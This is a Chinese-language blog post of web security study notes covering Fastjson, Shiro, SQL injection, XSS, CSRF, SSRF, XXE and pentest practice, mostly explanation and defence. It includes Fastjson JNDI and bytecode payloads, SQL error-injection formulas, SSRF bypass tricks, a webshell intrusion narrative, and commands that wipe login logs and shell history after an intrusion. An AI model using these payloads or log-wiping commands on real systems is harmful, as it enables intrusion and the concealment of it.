Ywc's blog

Web安全知识整理

Word count: 18.1k / Reading time: 66 min
2018/10/01 Share

常见漏洞

PHP相关

1、PHP弱类型
=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
== 在进行比较的时候,会先将字符串类型转化成相同,再比较

2、PHP反序列化漏洞
绕过魔术方法 __wakeup:当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

3、命令执行函数

1
2
3
4
5
6
7
8
9
eval();
assert();
system();
exec();
shell_exec();
passthru();
escapeshellcmd();
pcntl_exec();
......

ctf-wiki

java中命令执行函数:

1
2
3
java.lang.Runtime
java.lang.ProcessBuilder
java.lang.ProcessImp

JAVA相关

复习文章1
复习文章2

spring security

Spring Security 是 Spring 家族中的一个安全管理框架,和shiro一样被广泛使用。(目前 Java 业界比较流行的认证授权框架,一个是 Shiro,是一个轻量级的安全框架,另一个就是 Spring Security。)
springsecurity底层实现为一条过滤器链,就是用户请求进来,判断有没有请求的权限,抛出异常,重定向跳转。

  • 其核心就是一组过滤器链,项目启动后将会自动配置。
  • 最核心的就是 Basic Authentication Filter 用来认证用户的身份,一个在spring security中一种过滤器处理一种认证方式。

spring security——基本介绍(一)

fastjson

Skay:Fastjson渗透测试指北

漏洞原理
反序列化 @type 指定的类时,指定类的 setter 或 getter 被调用导致的命令执行

首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。
总结

  • 开启autotype功能
  • 当组件开启了autotype功能并且反序列化不可信数据时
    Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法
  • 若指定类的指定方法中有可被恶意利用的逻辑(Gadget)
  • 不开启autotype可利用缓存机制进行绕过(文章

检测方式
1、DNS log
payload:
{"@type":"java.net.InetAddress","val":"example.com"}
原理是 java.net.InetAddress 这个类在实例化时会尝试做对 example.com 做域名解析,这时候可以通过 dns log 的方式得知漏洞是否存在了。

2、基于JNDI注入

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/POC", "autoCommit":true}

原理是 com.sun.rowset.JdbcRowSetImpl 这个类在设置 autoCommitsetter 时会调用 connect 方法去连接 dataSourceName 指定的 jdbc 服务。 JNDI 常用的有 RMI 和 LDAP 服务,这里使用的是 RMI 服务,因为实现比较简单。

3、bytesCode 字节码

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64_bytesCode"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

漏洞历史

  1. fastjson-1.2.24

(fastjson接受的JSON可以通过艾特type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作)

  1. fastjson-1.248以下

(checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去获取class不为空,从而绕过了黑名单检测)

  1. fastjson-1.2.60以下

(在此版本以下,字符串中包含\x转义字符时可以造成dos漏洞)

修复手段
升级到最新版本

shiro

参考文章:https://www.cnblogs.com/xiaozi/p/13239046.html

Shiro rememberMe反序列化漏洞(Shiro-550)

漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。
在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

影响版本
Apache Shiro < 1.2.4

特征判断
返回包中包含rememberMe=deleteMe字段

Shiro Padding Oracle Attack(Shiro-721)

漏洞原理
由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

影响版本
Apache Shiro < 1.4.2版本

weblogic

weblogic历史漏洞
常用的协议:T3协议、IIOP
T3协议:T3协议是用于Weblogic服务器和其他Java Application之间传输信息的协议,是实现上述RMI远程过程调用的专有协议,其允许客户端进行JNDI调用。
IIOP: CORBA对象之间交流的协议,传输层为TCP/IP。它提供了CORBA客户端和服务端之间通信的标准。
CORBA: Common Object Request Broker Architecture(公共对象请求代理体系结构)是由OMG(Object Management Group)组织制定的一种标准分布式对象结构。使用平台无关的语言IDL(interface definition language)描述连接到远程对象的接口,然后将其映射到制定的语言实现。

Weblogic T3反序列化漏洞(CVE-2018-2628)

sql注入

sql注入的原理和防御

原理:开发者在编写操作数据库代码时,直接将外部可控的参数拼接到SQL语句中,没有经过任何过滤就直接放入数据库引擎执行。

防御:
SQL注入漏洞防御的核心就是阻止用户输入由数据变为动作

1.使用预编译语句,绑定变量(PreparedStatement)

2.使用存储过程
3.检查数据类型
4.使用安全函数mysql_real_escape_string()

sql注入有哪几类

1.按照参数类型:数字型、字符型
2.按照数据库返回结果:回显注入、报错注入、盲注
3.按照注入位置及方式不同:post注入,get注入,cookie注入,盲注,延时注入,搜索注入,base64注入等

  • 布尔盲注
    布尔盲注是最基础的一种注入,其本质是使SQL语句永真或永假,使页面上显示的内容不同,然后逐个字符的去判断,以此来得到数据库中的所有数据。
    页面虽然不能返回查询的结果,但是对于输入 布尔值 0 和 1 的反应是不同的,就可以利用这个输入布尔值的注入点来注入我们的条件语句,从而能根据页面的返回情况推测出我们输入的语句是否正确(输入语句的真假直接影响整条查询语句最后查询的结果的真假)
  • 时间盲注
    如果存在盲注,但不论SQL语句是用真还是永假,页面都没有回显或没有明显变化,如何去判断SQL语句此时是真是假呢?可以使用sleep函数使SQL语句延迟一段时间后再返回结果,如果sleep函数与整个语句是且(and)的关系,那么为真的语句就会延时,为假的语句就不会延时。其他的部分与布尔盲注其实是相同的。在面试中,经常会被问到『如果sleep函数被禁用,如何进行时间盲注?』答案是使用benchmark函数,它的本意是向用户报告执行某个表达式的时间,使用它大批量执行一个任意表达式,也可达到延时的效果。
  • 报错注入
    报错注入是通过floor、extractvalue、updatexml等函数来实现的,这些函数有一个共同的特点,便是完成相应的功能需要进行两次及以上的操作。因此我们使其成功查询数据后进行处理的那次操作出错,也就将查出的数据暴露在了错误信息中,从而使我们得到想要的数据。

如何判断sql注入

  • 在参数后面加单引号或双引号,判断返回结果是否有报错
  • 如果参数(id)是数字,测试id=2-1与id=1返回的结果是否相同,如果做了2-1=1的运算,说明可能存在数字型注入。如果要用+号运算的话,因为URL编码的问题,需要把加好换成%2B,如id=1%2B1
  • 添加注释符,判断前后是否有报错,如id=1’ –+ 或 id=1” –+ 或id=1’ # 或id=1” –+ (–后面跟+号,是把+当成空格使用)
  • 有些参数可能在括号里面,如:SELECT first_name, last_name FROM users WHERE user_id = (’$id’);所以也可以在参数后面加单、双引号和括号,如id=1’) –+ 或 id=1”) –+ 或id=1’) # 或id=1”) –+
  • 参数后面跟or 或者and,判断返回结果是否有变化,如1’ or ‘a’=’a 或者and ‘a’=’a或者1’ or ‘a’=’b或者1’ or ‘1’=’2 如果返回的正确页面与错误页面都一样,可以考虑时间延迟的方法判断是否存在注入,如 1’ and sleep(5)
  • 如果你只有一次试验的机会,如何判定一个数据输入点是否存在SQL注入?
    答案是使用时间盲注,如sleep(4),如果真的存在注入,则肯定会延时4秒再显示结果。其他类型的注入都非一次试验而能确定存在的,并且一个数据输入点只要存在注入,必定存在时间盲注。

1.数字型注入
使用 and 1=1 或者 and 1=2 来进行判断

?id=1 and 1=1 和 ?id=1 and 1=2

2.字符型注入
使用 1’ and ‘1’=1’ 和 1’ and ‘1’=’2来进行判断

?id=1’ and ‘1’=1’ 和 ?id=1’ and ‘1’=’2

1.单引号判断法
2.and大法 and 1=1 and 1=2 同真为真,其余为假
3.ord大法 or 1=1 or 1=2 同假为假,其余为真

通过对其传入的可控参数进行简单的构造,通过服务端返回的内容来判断有无注入

sql注入的利用方式

1.非法查询其他数据库资源,如管理员帐号
2.执行系统命令
3.获取服务器root权限

时间盲注除了sleep还有哪些利用函数

benchmark、笛卡尔积、GET_LOCK、RLIKE
参考文章cdxy
benchmark、笛卡尔积、GET_LOCK、RLIKE

没有错误回显的原因

php的配置文件php.ini进行了修改,display_errors = On 修改为 display_errors = off时候就没有报错提示.
在php脚本开头添加error_reporting(0); 也可以达到关闭报错的作用.

宽字节注入

原理:

-吃掉转义引号的反斜杠是宽字节注入的根本-

宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入

宽字节注入利用了mysql一个特性,即当mysql在使用GBK编码的时候,会认为两个字符是一个汉字。(前一个ASCII码要大于128,才到汉字的范围)

mysql数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为\’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击
%df' 会被PHP当中的addslashes函数转义为%df\' ,“\”既URL里的“%5C”,那么也就是说,%df'会被转成%df%5C%27倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为%df%5C%27是一个宽字符。也就是“縗’”

sql注入绕过技巧

复习文章

1.绕过空格

  • 注释替换:/* 注释 */
  • 两个空格代替一个空格,用Tab代替空格,%a0=空格
  • 使用浮点数
  • 括号绕过空格

2.引号绕过

  • 使用十六进制

3.逗号绕过

  • 使用from或offset

4.比较符号(<>)绕过

  • 使用greatest()、least():(前者返回最大值,后者返回最小值)
  • 使用sqlmap中的between脚本

5.or and xor not绕过

and=&& or=|| xor=| not=!

报错注入指令

复习文章:http://wyb0.com/posts/injection-of-error-based/

报错注入只要套用公式即可,如下(第一个公式count(*)、floor()、rand()、group by不可或缺,后两个公式有32位的限制):

?id=2’ and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (查询语句)) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a )--+

?id=2’ and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+

?id=1’ and extractvalue(1, concat(0x7e, (select @@version),0x7e))--+

sqlmap的使用

sqlmap使用总结

sqlmap进阶篇

–technique 测试指定注入类型使用的技术
不加参数默认测试所有注入技术

B: 基于布尔的 SQL 盲注
E: 基于显错 sql 注入
U: 基于 UNION 注入
S: 叠层 sql 注入
T: 基于时间盲注

1
2
3
4
5
6
7
8
9
10
11
--technique B 布尔盲注

--technique E 报错注入

--technique U union查询注入

--technique S 堆叠注入

--technique T 时间盲注

--technique Q 内联查询注入

xss跨站脚本攻击

XSS的漏洞主要成因是后端接收参数时未经过滤,导致参数改变了HTML的结构,从而被浏览器或后端代码执行,带来漏洞

原理

XSS的漏洞主要成因是后端接收参数时未经过滤,导致参数改变了HTML的结构,从而被浏览器或后端代码执行

种类

反射型、存储型、DOMXSS

存储型 XSS
存储型 XSS 的攻击步骤:

  • 攻击者将恶意代码提交到目标网站的数据库中。
  • 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
  • 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  • 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

存储型 XSS(又被称为持久性XSS)攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。
它是最危险的一种跨站脚本,相比反射型XSS和DOM型XSS具有更高的隐蔽性,所以危害更大,因为它不需要用户手动触发。任何允许用户存储数据的web程序都可能存在存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器端接收并存储,当所有浏览者访问某个页面时都会被XSS。

反射型 XSS
反射型 XSS 的攻击步骤:

  • 攻击者构造出特殊的 URL,其中包含恶意代码。
  • 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
  • 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  • 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

反射型 XSS (也被称为非持久性XSS)漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。
由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。
POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。
反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

DOM 型 XSS
DOM 型 XSS 的攻击步骤:

  • 攻击者构造出特殊的 URL,其中包含恶意代码。
  • 用户打开带有恶意代码的 URL。
  • 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
  • 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

DOM通常代表在html、xhtml和xml中的对象,使用DOM可以允许程序和脚本动态的访问和更新文档的内容、结构和样式。它不需要服务器解析响应的直接参与,触发XSS靠的是浏览器端的DOM解析,所以防范DOM型XSS完全就是前端的责任,必须注意!!!。
msf

xss利用方式

1.获取cookie
2.DDos攻击
3.构造js代码进行挖矿
4.探测内网端口

https://www.freebuf.com/sectool/159689.html

检测方法

一、直接触发
在HTML页中插入<script></script>脚本标记,JS嵌入到HTML中的两种方式:
1.直接嵌入<script>标签

1
2
3
<script language=“javascript”>
document.write(“hello world!”);
</script>

2.在外部以js文件的形式嵌入

1
<script language=“javascript” src=“test.js”></script>

二、利用HTML标签属性触发
三、利用HTM事件触发
四、利用CSS触发

防御

防御XSS攻击可以从前端和后端入手。

前端防御:使用js,由客户端运行,将 ‘&’ , ‘<’ , ‘' 之类的敏感字符转义为 &amp , &lt , &gt,用户所编写的HTML代码就变成了字符,剩下的才是富文本格式。优点是可以直接在客户端运行,不需要占用服务器资源。但缺点是,如果攻击者使用伪造的HTTP请求,直接向服务器发送一段HTML代码,或者禁用js,则可以绕过前端处理及检查,直接向服务器提交包含script的HTML代码。这时就需要在服务器进行防御了。
前端防御插件:xss.js

后端防御:在服务器检查敏感的HTML代码,有基于黑名单和基于白名单的两种过滤方式。因为HTML标签种类繁多,基于黑名单的过滤方法考虑的并不全面。而且对伪协议的考虑也不全面等等。。推荐使用白名单

  • 可在cookie中设置httponly(浏览器禁止页面的js访问带有httponly属性的cookie)
  • xss filter(检查输入,设置白名单方式)
  • 输入过滤(编码,转义,常用编码:html编码,js编码,16进制等)
  • 针对不同位置的输出,使用不同的处理方式
  • 白名单:处理富文本 富文本XSS问题
  • header中使用content-Sencurity-Policy字段,规定请求js的域名白名单(CSP策略)

基于白名单的富文本XSS后端过滤

富文本存储型XSS的模糊测试之道

dom xss 和反射型xss的区别

dom xss 不需要服务器解析响应的直接参与,触发XSS靠的是浏览器端的DOM解析。dom型js代码存储在数据库中。

xss遇到后台登录限制或者HTTPONLY时

复习文章:https://blog.csdn.net/xysoul/article/details/45366695
1.可以利用XSS获取当前页面的所有URL
2.获取当前页面的代码

csrf和xss的区别

1.CSRF:需要用户先登录网站A,获取 cookie。
XSS:不需要登录
2.CSRF:是利用网站A本身的漏洞,去请求网站A的api。
XSS:是向网站 A 注入 JS代码,然后执行 JS 里的代码,篡改网站A的内容。

CSRF跨站请求伪造

原理

攻击者盗用了你的身份,以你的名义发送恶意请求

1.登录受信任网站A,并在本地生成Cookie。
2.在不登出A的情况下,访问危险网站B。

跨站请求伪造,利用了网站允许攻击者预测特定操作所有细节这一特点。由于浏览器自动发送会话cookie等认证凭证,导致攻击者可以创建恶意的web页面来产生伪造请求。这些伪造的请求很难和合法的请求区分开

  • 受害者登录a.com,并保留了登录凭证(Cookie)
  • 攻击者引诱受害者访问了b.com
  • b.com 向 a.com 发送了一个请求:a.com/act=xx。
  • a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。
  • a.com以受害者的名义执行了act=xx。
  • 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作

危害

攻击者可以让受害者用户修改任何允许修改的数据,执行任何用户允许的操作,例如修改密码,登录注销等

检测

1.GET类型的CSRF的检测

  • 如果有token等验证参数,先去掉参数尝试能否正常请求。如果可以,即存在CSRF漏洞

2.POST类型的CSRF的检测

  • 如果有token等验证参数,先去掉参数尝试能否正常请求。如果可以,再去掉referer参数的内容,如果仍然可以,说明存在CSRF漏洞,可以利用构造外部form表单的形式,实现攻击。如果直接去掉referer参数请求失败,这种还可以继续验证对referer的判断是否严格,是否可以绕过

防御

1.验证码

  • 验证码强制用户必须与应用进行交互,才能完成最终请求。

2.Referer Check

  • 检查请求是否来自合法的源。但服务器并非什么时候都能取得 Referer。

3.Token

  • CSRF 能够攻击成功的本质原因是重要操作的所有参数都可以被攻击者猜测得到。
  • 保持原参数不变,新增一个参数 Token,值是随机的,在实际应用中,Token 可以放在用户的 Session 中,或浏览器的 Cookies 中。
  • Token 一定要足够随机。此外,Token 的目的不是为了防止重复提交,所以为了使用方便,可以允许在一个用户的有效生命周期内,在 Token 消耗掉之前都使用同一个 Token,但如果用户已经提交了表单,则这个 Token 已经消耗掉,应该重新生成 Token。
    Token 还应注意其保密性,如果 Token 出现在 URL 中,则可能会通过 Referer 泄露,应尽量把 Token 放在表单中,把敏感操作由 GET 改为 POST,以表单或 AJAX 的形式提交,避免 Token 泄露。

4、随机数

SSRF服务端请求伪造

腾讯安全:SSRF安全指北
我的文章总结

原理

服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制。

SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有发现在这个请求是合法的,然后服务器以他的身份来访问其他服务器的资源。

危害

1、读取本地文件——利用file协议
2、攻击内外网的web应用——主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
3、对内网 WEB 应用进行指纹识别,通过访问默认文件实现
4、可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
5、攻击运行在内网或本地的应用程序(比如溢出)

检测方法

  1. 排除法:浏览器f12查看源代码看是否是在本地进行了请求
    比如:该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞
  2. dnslog等工具进行测试,看是否被访问
    可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。
  3. 抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址.
  4. 直接返回的Banner、title、content等信息
  5. 留意bool型SSRF

绕过方法

  • 1、30x跳转:当防御方限制只允许http(s)访问或者对请求的host做了正确的校验后,可以通过30x方式跳转进行绕过
    • 针对只允许http(s)协议的情况,我们可以通过
      Location: dict://127.0.0.1:6379跳转到dict协议,从而扩大我们攻击面,来进行更深入的利用
  • 2、URL解析绕过
  • 3、DNS解析绕过:通过dns解析绕过私有地址限制探测内网 列 www.127.0.0.1.xip.io
  • 4、编码进制绕过:列如:ip进制转换
  • 5、利用IPv6绕过:有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如::1或IPv6的内网域名–x.1.ip6.name来绕过过滤

dns rebinding dns重绑定攻击

  • 原理:利用服务器解析同一域名的短暂间隙,更换域名背后的ip达到突破同源策略或过waf进行ssrf的目的。
  • 修复方式:
    1
    2
    3
    4
    5
    1、限制JavaScript的运行(让攻击者没办法再次请求,noscript可以实现)
    2、将域名与ip固定(这样它们就不能重复更改)
    3、不接受小于特定大小的TTL(因此它们无法更改)
    4、不接受DNS是私有地址的请求(对于外部请求来说)(这样​​它们就不会扩展到内网)
    5、在本地运行的端口服务校验来源域名

两次解析统一域名:check_ssrf与do_url的两次解析

PS:DNS是怎么做域名解析的?怎样两次解析同一域名?
解析流程是分级查询

  • 首先先在本机的DNS里头查,如果有就直接返回了
  • 本机DNS里头发现没有,就去根服务器里查,根服务器会告诉去哪查(如com域
  • 本机的DNS接到又会向com域的DNS服务器发送查询消息

https://www.cnblogs.com/rjzheng/p/11395695.html

修复方式

1、禁用不需要的协议,仅允许http和https请求;

2、限制请求的端口为http常用的端口,比如,80,443,8080,8090;

3、黑名单内网ip,避免应用被用来获取获取内网数据,攻击内网;

4、过滤返回信息,验证远程服务器对请求的响应是比较容易的方法;

5、统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态;

6、使用正则对参数进行效验,防止畸形请求绕过黑名单。

  1. 去除url中的特殊字符(为了防止利用url parse的特性造成url解析差异)
  2. 判断是否属于内网ip
  3. 如果是域名的话,将url中的域名改为ip(防止dns rebinding)
  4. 请求的url为3中返回的url
  5. 请求时设置host header为ip(为了防止以ip请求时,某些网站无法访问的问题)
  6. 不跟随30x跳转(跟随跳转需要从1开始重新检测)(防止30x跳转进行绕过)

XSS、CSRF、SSRF三种漏洞的区别和共同点

  • 相同点:
    XSS,CSRF,SSRF三种常见的Web服务端漏洞均是由于服务器端对用户提供的可控数据过于信任或者过滤不严导致的。

  • 不同点:
    1、XSS是服务器对用户输入的数据没有进行足够的过滤,导致客户端浏览器在渲染服务器返回的html页面时,出现了预期值之外的脚本语句被执行。
    2、CSRF是服务器端没有对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击者可以利用用户的Cookie信息伪造用户请求发送至服务器。
    3、SSRF是服务器对用户提供的可控URL过于信任,没有对攻击者提供的URL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或其他服务器。

XXE防御、绕过

XXE漏洞学习
XXE:XML外部实体注入

原理

允许加载了外部实体
允许了引入外部实体的加载,从而导致程序在解析xml的时候,可以加载恶意外部文件,从而造成文件读取等危害。

危害

  • 读取任意文件
  • 命令执行
  • 内网探测/SSRF
  • 攻击内网网站
  • DDOS攻击

防御

1.使用开发语言提供的禁用外部实体的方法,即禁用外部实体。
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

JSONP漏洞

复习文章:我的博客:深入理解JSONP漏洞
JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 <script></script> 元素标签,远程调用 JSON 文件来实现数据传递

json和jsonp的区别

复习文章
JSON是一种数据交换格式,而JSONP是一种非官方跨域数据交互协议。JSON是“暗号”,而JSONP则是接头方式。
JSON是描述信息的格式,JSONP是信息传递双方约定的方法。

CORS跨域资源共享

深入理解CORS跨域资源共享漏洞

跨域资源共享(CORS)是一种放宽同源策略的机制,它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。

复习文章: 跨域资源共享CORS详解

DNS域传送漏洞

原理

如果管理员在配置DNS服务器的时候没有限制允许获取记录的来源,将会导致DNS域传送漏洞。

DNS区域传送:DNS服务器分为主服务器、备份服务器、缓存服务器。
而域传送指的是一台备用服务器使用来自主服务器的数据更新自己的域(zone)数据库。这为运行中的DNS服务提供了一定的冗余度,其目的是为了防止主的域名服务器因意外故障变得不可用时影响到整个域名的解析。

DNS域传送漏洞:一般DNS区域传送操作只在网络里真的有备用域名DNS服务器时才有必要用到,但许多DNS服务器却被错误地配置成只要有client发出请求,就会向对方提供一个zone数据库的详细信息,即允许不受信任的因特网用户执行DNS区域传送操作。

危害

便于快速判断出某个特定区域的所有主机,获取域信息,如网络拓扑结构、服务器ip地址,为攻击者的入侵提供大量敏感信息。

如果管理员在配置DNS服务器的时候没有限制允许获取记录的来源,将会导致DNS域传送漏洞。
本来只有备份服务器能获得主服务器的数据,由于漏洞导致任意client都能通过“域传送”获得主服务器的数据(zone数据库信息)
DNS协议支持使用axfr类型的记录进行区域传送,用来解决主从同步的问题。
DNS服务器分为:主服务器、备份服务器、缓存服务器
在主备服务器之间同步数据库,需要使用“DNS域传送”。
域传送是指后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。

补充DNS记录的种类:

DNS记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
A记录 IP地址记录,记录一个域名对应的IP地址

AAAA记录 IPv6地址记录,记录一个域名对应的IPv6地址

CNAME记录 别名记录,记录一个主机的别名

MX记录 电子邮件交换记录,记录一个邮件域名对应的IP地址,比如my[at]lijiejie.com
后面的部分lijiejie.com,邮件服务器对应的IP地址

NS记录 域名服务器记录 ,记录该域名由哪台域名服务器解析

PTR记录 反向记录,也即从IP地址到域名的一条记录

TXT记录 记录域名的相关文本信息

SOA记录 start of anthorization 开始授权,是一种比较难以理解的记录值,一般二级域名才会有

DDOS分布式拒绝服务攻击

复习文章:Ddos分布式拒绝服务攻击
俗称洪水攻击,攻击者控制多台主机同时向同一主机或网络发起DOS攻击(dos攻击是拒绝服务攻击)
攻击原理:利用合理的请求从而造成资源过载,导致服务不可用。攻击者通过向路由器发起海量的消息请求或者畸形报文,导致CPU无法实时处理消息,引发正常的业务交互流程、内部处理流程阻塞,达到拒绝服务的目的
udp flood: 利用大量的UDP小包冲击DNS服务器,造成网络瘫痪。复习文章
DDOS攻击主要分为三类:流量型攻击;连接型攻击;特殊协议缺陷

udp反射放大攻击

原理:
很多协议在响应包处理时,要远大于请求包,一个字节的请求十个字的响应,十个字节的请求一百个字的响应,这就是UDP反射放大攻击最根本的原理。

DNS 反射放大攻击主要是利用 DNS回复包比请求包大的特点,放大流量,伪造请求包的源 IP 地址为受害者 IP,将应答包的流量引入受害的服务器。

k8s漏洞

k8s历史漏洞
红蓝对抗中的云原生漏洞挖掘及利用实录

渗透测试

安全测试之我见

https://yinwc.github.io/2020/08/28/%E5%AE%89%E5%85%A8%E6%B5%8B%E8%AF%95/

一次渗透经历

web服务器-内网渗透全过程

首先信息收集阶段,使用kali中自带的SPARTA扫描端口,发现开放80、445、3389、3306
80端口的屏幕截图是个探针,可以看到网站使用upupw5.2-php5.2.17-apache2.2.31等信息

web渗透阶段:在网站的某个链接处手工测试存在注入,跑出了低管理员权限账户data和密码,登录后,抓包修改参数值造成越权(抓包后发现,普通管理员的参数伪submanager,超管的参数为manager),成为超级管理员。

获取web服务器权限:在后台数据维护处发现一个可以执行sql语句的页面,在刚开始信息收集的时候已经发现探针页面,已经知道了绝对路径,所以尝试在执行sql语句的地方用sql语句写入一句话,使用蚁剑连接,可以成功连接,getshell!!打开虚拟终端,发现是一个高权限用户,这就已经没什么难度了,直接新建一个用户,并提到管理组。3389直接连接,获取到web服务器最高权限

App安全测试

app面临的威胁主要来自这三方面

  • 客户端:
    反编译
    调试
    加密/签名破解
    输入记录
    导出组件
    进程注入

  • 数据传输:
    信息泄露
    传输数据篡改
    重放攻击

  • 服务端
    心血
    ST2
    注入
    跨站
    越权执行
    上传下载
    弱口令

渗透测试流程

渗透测试之信息收集

入侵后痕迹清理

linux入侵控制与痕迹清理
linux查看登录日志
清理命令记录:
(1)仅清理当前用户: history -c
(2)使系统不再保存命令记录:vi /etc/profile,找到HISTSIZE这个值,修改为0
(3)删除记录:

1
2
3
删除登录失败记录:echo > /var/log/btmp
删除登录成功记录:echo > /var/log/wtmp (此时执行last命令就会发现没有记录)
删除日志记录:echo > /var/log/secur

Linux查看/var/log/wtmp文件查看可疑IP登陆last -f /var/log/wtmp

/var/log/wtmp日志文件介绍
/var/log/wtmp文件的查看方法

绕过绕过cdn获取网站的真实IP

复习文章:https://blog.csdn.net/qq_29277155/article/details/52463908/
1.查询二级域名
方法:

  • 在线查询http://i.links.cn/subdomain/
  • 使用AWVS中的子域名查询工具

2.nslookup
cmd中nslookup
3.直接ping一下
4.看历史纪录
在线网址:http://toolbar.netcraft.com/site_report?url=www.xxx.com
5.phpinfo
6.看订阅邮件
7.rss订阅

waf绕过

  • 大小写混合
  • URL编码
  • 关键字替换
  • 多参数请求拆分
  • HTTP参数污染
  • 生僻函数
  • 注入参数到cookie

漏洞相关

cve2020-9547

FasterXML/jackson-databind

ibatis-sqlmap中存在特殊的利用链允许用户触发 JNDI 远程类加载操作

漏洞位于com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig中,同样指向ldap恶意地址

进而触发JNDI 注入,从而将远程类加载到本地代码执行

应急响应

排查webshell或木马

Windows系统应急响应:
https://cloud.tencent.com/developer/article/1638283

Linux系统应急响应:
https://blog.csdn.net/qq_36119192/article/details/94397856

密码学相关

加密算法分对称加密非对称算法,其中对称加密算法的加密与解密密钥相同,非对称加密算法的加密密钥与解密密钥不同

常见的对称加密:AES、DES、3DES,其中AES是最安全的
常见的非对称加密:RSA、DSA

工具原理

SqlMap工作原理

SQLMap 大致工作流程:数据库类型猜测、注入类型猜测、数据库版本猜测(MySQL 不同版本会影响后续 payload 选择)、字段长度猜测、结论输出等

面试

burp抓包原理(抓https)

BurpSuite在本地浏览器安装了自己的证书,作为中间人的它分别建立起了“客户端->代理服务器”、“代理服务器->服务端”两段HTTPS通道,BurpSuite获得Client消息后先解密后再重新加密,然后代替客户端发给服务端,这个过程中BurpSuite自然能获得明文。

第一步, burp向服务器发送请求进行握手, 获取到服务器的CA证书, 用根证书公钥进行解密, 验证服务器数据签名,获取到服务器CA证书公钥。
